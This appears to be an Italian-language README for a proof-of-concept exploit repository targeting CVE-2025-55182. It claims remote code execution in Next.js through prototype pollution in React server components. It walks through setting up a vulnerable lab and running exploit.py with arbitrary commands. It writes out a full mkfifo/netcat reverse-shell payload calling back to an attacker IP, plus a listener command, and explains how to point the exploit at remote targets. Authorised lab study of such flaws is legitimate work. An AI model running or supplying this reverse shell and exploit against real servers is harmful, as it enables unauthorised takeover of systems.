React2Shell CVE-2025-55182

Un proof-of-concept che dimostra una vulnerabilità di esecuzione remota di codice nelle applicazioni Next.js attraverso la prototype pollution nella pipeline di rendering dei componenti server di React.

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e a test autorizzati. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso di testare è illegale.

📋 Prerequisiti

• Node.js (v16 o successivo)
• Python 3.6+
• netcat (per reverse shell)
• Un'applicazione Next.js vulnerabile (inclusa in questo repository)

🚀 Avvio rapido

Opzione 1: Usare il laboratorio preconfigurato

1. Clonare il repository

git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182

Opzione 2: Creare il server da zero

# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab

Nota: Il laboratorio preconfigurato include già il codice vulnerabile necessario. Se crei il progetto da zero, dovrai aggiungere manualmente i componenti vulnerabili.

2. Installare le dipendenze

cd react2shell-lab
npm install

3. Avviare il server vulnerabile

Nel terminale 1:

npm run dev

Il server dovrebbe avviarsi su http://localhost:3000

🔧 Sfruttamento

Esecuzione di comandi di base

1. Il repository include un file exploit.py che dimostra la vulnerabilità. Modifica la variabile COMMAND nel file con il comando desiderato:

   COMMAND = 'whoami'  # Change this to any command you want to execute
   

2. Esegui l'exploit:

   python3 exploit.py
   

Reverse Shell

1. Configura un listener netcat in un nuovo terminale:

   nc -nvlp 4444
   

2. Modifica exploit.py e aggiorna il comando con il tuo payload di reverse shell:

   COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
   

   Sostituisci YOUR_IP con l'indirizzo IP della tua macchina locale.

3. Esegui l'exploit:

   python3 exploit.py
   

🛠️ Utilizzo avanzato

Test su target remoti

Modifica la variabile HOST nello script di exploit per scegliere come target server remoti:

HOST = 'target-ip-address'  # Replace with target IP
PORT = 3000  # Default Next.js port

Comandi comuni

• Elenca il contenuto della directory: ls -la
• Ottieni informazioni sul sistema: uname -a
• Ottieni l'utente corrente: whoami
• Ottieni informazioni di rete: ifconfig o ip a

🔍 Risoluzione dei problemi

• Connessione rifiutata: assicurati che il server target sia in esecuzione e raggiungibile
• Comando non trovato: il sistema target potrebbe non avere installati determinati binari
• Nessun output: il comando potrebbe essere stato eseguito ma senza produrre output

📚 Riferimenti

• CVE-2025-55182
• Next.js Security Advisories
• Prototype Pollution in JavaScript

📄 Licenza

Questo progetto è concesso in licenza sotto la MIT License - vedi il file LICENSE per i dettagli.

Questa versione richiede l'input dell'utente per IP e porte di target remoto e dell'attaccante. Anche il corpo del post (body_parts) è leggermente ridotto in questa versione.

Fonti:

https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained

https://tryhackme.com/room/react2shellcve202555182